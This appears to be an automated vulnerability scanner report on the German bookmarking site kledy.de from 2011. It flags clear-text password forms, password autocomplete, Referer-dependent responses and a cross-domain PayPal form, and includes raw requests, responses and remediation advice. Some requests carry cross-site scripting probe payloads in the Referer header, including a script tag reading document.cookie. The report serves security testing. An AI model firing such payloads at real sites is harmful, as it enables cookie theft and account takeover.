GET /modules/buttons/buttons.php?urls=http%3A//www.fotoatelier-berlin.de/%7Chttp%3A//wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html%7Chttp%3A//www.w7o.de/%7Chttp%3A//www.nmworkwear.de/index.php%3FcPath%3D2_3%7Chttp%3A//www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/%7Chttp%3A//wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html%7Chttp%3A//www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/%7Chttp%3A//www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/ HTTP/1.1 Host: www.kledy.de Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=13087'-alert(1)-'3c02ec02ea8 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
GET /bookmarks.php/ HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:32:59 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94655
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/bookmarks.php/" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.kledy.de/login.php?return=/buttons.php
The form contains the following password field:
password
Request
GET /buttons.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:24 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55482
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/buttons.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.kledy.de/login.php?return=/groups.php
The form contains the following password field:
password
Request
GET /groups.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:26 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38173
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/groups.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
GET /impressum.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:27 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37681
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/impressum.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.kledy.de/login.php
The form contains the following password field:
password
Request
GET /login.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:33:13 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31841
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.kledy.de/login.php
The form contains the following password field:
password
Request
GET /login.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:33:13 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31841
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... <div class="login-left"> <form action="/login.php" id="thisform" method="post"> <h2> ...[SNIP]... <br /> <input type="password" name="password" class="login" tabindex="11" /><br /> ...[SNIP]...
GET /topusers.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:34 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49739
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/topusers.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The form contains the following password field with autocomplete enabled:
password
Request
GET /bookmarks.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:33:07 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94653
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/bookmarks.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The form contains the following password field with autocomplete enabled:
password
Request
GET /bookmarks.php/ HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:32:59 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94655
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/bookmarks.php/" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The page contains a form with the following action URL:
http://www.kledy.de/login.php?return=/buttons.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /buttons.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:24 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55482
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/buttons.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The page contains a form with the following action URL:
http://www.kledy.de/login.php?return=/groups.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /groups.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:26 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38173
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/groups.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The form contains the following password field with autocomplete enabled:
password
Request
GET /impressum.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:27 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37681
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/impressum.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The page contains a form with the following action URL:
http://www.kledy.de/login.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /login.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:33:13 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31841
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The page contains a form with the following action URL:
http://www.kledy.de/login.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /login.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:33:13 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31841
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... <div class="login-left"> <form action="/login.php" id="thisform" method="post"> <h2> ...[SNIP]... <br /> <input type="password" name="password" class="login" tabindex="11" /><br /> ...[SNIP]...
The form contains the following password field with autocomplete enabled:
password
Request
GET /topusers.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:34 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49739
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </h2> <form action="/login.php?return=/topusers.php" id="thisform" method="post"> <p style="margin:0px;padding:0px"> ...[SNIP]... <br> <input type="password" name="password" class="login" tabindex="11"><br> ...[SNIP]...
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defenses are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET /modules/buttons/buttons.php?urls=http%3A//www.fotoatelier-berlin.de/%7Chttp%3A//wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html%7Chttp%3A//www.w7o.de/%7Chttp%3A//www.nmworkwear.de/index.php%3FcPath%3D2_3%7Chttp%3A//www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/%7Chttp%3A//wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html%7Chttp%3A//www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/%7Chttp%3A//www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/ HTTP/1.1 Host: www.kledy.de Proxy-Connection: keep-alive Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D
function changeLgBgImage (image , id) { // The position change value should be half of the image height. In this case the height of the button image source is 42px, so the value is set to -21px. document.getElementById('evb_large_button').style.backgroundPosition = '0px -21px'; } function changeSmBgImage (image , id) { // The position change value should be half of the image height. In this case the height of the button image source is 34px, so the value is set to -17px document.getElementById('evb_small_vote_button').style.backgroundPosition = '0px -17px'; } function unchangeBgImage (image , id) { document.getElementById('evb_large_button').style.backgroundPosition = '0px 0px'; document.getElementById('e ...[SNIP]...
The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:
cmd
hosted_button_id
submit
Issue background
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
Request
GET /impressum.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:27 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37681
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
